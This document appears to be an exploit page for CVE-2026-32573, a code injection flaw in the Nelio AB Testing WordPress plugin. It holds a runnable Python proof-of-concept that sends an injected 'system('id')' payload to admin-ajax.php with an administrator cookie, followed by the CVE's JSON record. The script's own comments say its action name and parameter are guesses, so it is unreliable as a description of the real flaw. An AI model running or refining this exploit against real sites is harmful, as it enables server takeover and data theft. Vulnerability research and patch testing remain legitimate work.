CVE-2026-32573

#!/usr/bin/env python3 """ PoC for CVE-2026-32573 (Nelio AB Testing Code Injection) This script demonstrates how a high-privileged user can trigger code injection. Note: Authentication cookies are required (PR:H). """ import requests import sys def exploit(target_url, admin_cookie): # Target endpoint (example based on common WP plugin structure) url = f"{target_url}/wp-admin/admin-ajax.php" # Headers headers = { "User-Agent": "Mozilla/5.0 (PoC Scanner)", "Cookie": f"wordpress_logged_in_{admin_cookie}" } # Malicious payload to inject system command (e.g., `id`) # The specific parameter depends on the vulnerable action in the plugin payload_data = { "action": "nelio_ab_testing_save_experiment", "experiment[id]": "1", # Injection point: passing code where config is expected "experiment[settings][alternative]": "system('id'); //" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=payload_data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for command execution output or server behavior changes.") print(response.text[:500]) # Print snippet of response else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie>") print("Example: python poc.py http://localhost/wp wp_session_hash...") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit(target, cookie)

{"cve": {"id": "CVE-2026-32573", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:08.927", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Nelio Software Nelio AB Testing nelio-ab-testing allows Code Injection.This issue affects Nelio AB Testing: from n/a through <= 8.2.7."}, {"lang": "es", "value": "Control inadecuado de la generación de código ('Inyección de Código') vulnerabilidad en Nelio Software Nelio AB Testing nelio-ab-testing permite la inyección de código. Este problema afecta a Nelio AB Testing: desde n/a hasta &lt;= 8.2.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nelio-ab-testing/vulnerability/wordpress-nelio-ab-testing-plugin-8-2-7-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}